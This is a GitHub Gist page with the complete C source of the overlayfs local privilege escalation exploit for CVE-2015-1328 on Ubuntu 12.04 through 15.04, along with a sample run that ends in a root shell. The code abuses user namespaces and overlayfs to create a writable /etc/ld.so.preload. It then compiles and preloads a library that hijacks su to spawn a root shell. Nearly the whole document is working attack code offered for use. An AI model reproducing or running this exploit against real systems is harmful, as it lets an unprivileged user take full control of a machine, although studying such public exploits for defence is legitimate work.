-
-
Save iafsilva/072bd31e1452d3f96dc38926beba43ad to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
# Exploit Title: ofs.c - overlayfs local root in ubuntu | |
# Date: 2015-06-15 | |
# Exploit Author: rebel | |
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15) | |
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04 | |
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html) | |
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* | |
CVE-2015-1328 / ofs.c | |
overlayfs incorrect permission handling + FS_USERNS_MOUNT | |
user@ubuntu-server-1504:~$ uname -a | |
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux | |
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs | |
user@ubuntu-server-1504:~$ id | |
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev) | |
user@ubuntu-server-1504:~$ ./ofs | |
spawning threads | |
mount #1 | |
mount #2 | |
child threads done | |
/etc/ld.so.preload created | |
creating shared library | |
# id | |
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user) | |
greets to beist & kaliman | |
2015-05-24 | |
%rebel% | |
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=* | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <sched.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/mount.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <sched.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/mount.h> | |
#include <sys/types.h> | |
#include <signal.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <linux/sched.h> | |
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" | |
static char child_stack[1024*1024]; | |
static int | |
child_exec(void *stuff) | |
{ | |
char *file; | |
system("rm -rf /tmp/ns_sploit"); | |
mkdir("/tmp/ns_sploit", 0777); | |
mkdir("/tmp/ns_sploit/work", 0777); | |
mkdir("/tmp/ns_sploit/upper",0777); | |
mkdir("/tmp/ns_sploit/o",0777); | |
fprintf(stderr,"mount #1\n"); | |
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { | |
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower | |
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { | |
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); | |
exit(-1); | |
} | |
file = ".access"; | |
chmod("/tmp/ns_sploit/work/work",0777); | |
} else file = "ns_last_pid"; | |
chdir("/tmp/ns_sploit/o"); | |
rename(file,"ld.so.preload"); | |
chdir("/"); | |
umount("/tmp/ns_sploit/o"); | |
fprintf(stderr,"mount #2\n"); | |
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { | |
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { | |
exit(-1); | |
} | |
chmod("/tmp/ns_sploit/work/work",0777); | |
} | |
chmod("/tmp/ns_sploit/o/ld.so.preload",0777); | |
umount("/tmp/ns_sploit/o"); | |
} | |
int | |
main(int argc, char **argv) | |
{ | |
int status, fd, lib; | |
pid_t wrapper, init; | |
int clone_flags = CLONE_NEWNS | SIGCHLD; | |
fprintf(stderr,"spawning threads\n"); | |
if((wrapper = fork()) == 0) { | |
if(unshare(CLONE_NEWUSER) != 0) | |
fprintf(stderr, "failed to create new user namespace\n"); | |
if((init = fork()) == 0) { | |
pid_t pid = | |
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); | |
if(pid < 0) { | |
fprintf(stderr, "failed to create new mount namespace\n"); | |
exit(-1); | |
} | |
waitpid(pid, &status, 0); | |
} | |
waitpid(init, &status, 0); | |
return 0; | |
} | |
usleep(300000); | |
wait(NULL); | |
fprintf(stderr,"child threads done\n"); | |
fd = open("/etc/ld.so.preload",O_WRONLY); | |
if(fd == -1) { | |
fprintf(stderr,"exploit failed\n"); | |
exit(-1); | |
} | |
fprintf(stderr,"/etc/ld.so.preload created\n"); | |
fprintf(stderr,"creating shared library\n"); | |
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); | |
write(lib,LIB,strlen(LIB)); | |
close(lib); | |
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); | |
if(lib != 0) { | |
fprintf(stderr,"couldn't create dynamic library\n"); | |
exit(-1); | |
} | |
write(fd,"/tmp/ofs-lib.so\n",16); | |
close(fd); | |
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); | |
execl("/bin/su","su",NULL); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment